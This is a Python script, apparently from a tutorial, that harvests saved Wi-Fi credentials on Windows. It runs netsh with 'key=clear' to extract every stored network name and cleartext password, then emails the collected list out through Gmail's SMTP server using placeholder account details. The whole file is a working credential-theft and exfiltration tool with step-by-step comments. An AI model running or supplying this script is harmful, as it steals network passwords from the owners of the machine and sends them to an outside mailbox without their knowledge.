windows10-wifi-email.py

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#Copyright of David Bombal, 2021     #
#https://www.davidbombal.com         #
#https://www.youtube.com/davidbombal #
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import subprocess
import re
import smtplib
from email.message import EmailMessage

# Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(<list of command line arguments goes here>, <specify the second argument if you want to capture the output>))
# The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed.
# To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python.
command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode()

# We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile     :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears.
profile_names = (re.findall("All User Profile     : (.*)\r", command_output))

# We create an empty list outside of the loop where dictionaries with all the wifi username and passwords will be saved.
wifi_list = list()


# If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part.
if len(profile_names) != 0:
    for name in profile_names:
        # Every wifi connection will need its own dictionary which will be appended to the wifi_list
        wifi_profile = dict()
        # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password.
        profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode()
        # We use a regular expression to only look for the absent cases so we can ignore them.
        if re.search("Security key           : Absent", profile_info):
            continue
        else:
            # Assign the ssid of the wifi profile to the dictionary
            wifi_profile["ssid"] = name
            # These cases aren't absent and we should run them "key=clear" command part to get the password
            profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode()
            # Again run the regular expressions to capture the group after the : which is the password
            password = re.search("Key Content            : (.*)\r", profile_info_pass)
            # Check if we found a password in the regular expression. All wifi connections will not have passwords.
            if password == None:
                wifi_profile["password"] = None
            else:
                # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary.
                wifi_profile["password"] = password[1]
            # We append the wifi information to the wifi_list
            wifi_list.append(wifi_profile)

# Create the message for the email
email_message = ""
for item in wifi_list:
    email_message += f"SSID: {item['ssid']}, Password: {item['password']}\n"

# Create EmailMessage Object
email = EmailMessage()
# Who is the email from
email["from"] = "name_of_sender"
# To which email you want to send the email
email["to"] = "email_address"
# Subject of the email
email["subject"] = "WiFi SSIDs and Passwords"
email.set_content(email_message)

# Create smtp server
with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp:
    smtp.ehlo()
    # Connect securely to server
    smtp.starttls()
    # Login using username and password to dummy email. Remember to set email to allow less secure apps if using Gmail
    smtp.login("login_name", "password")
    # Send email.
    smtp.send_message(email)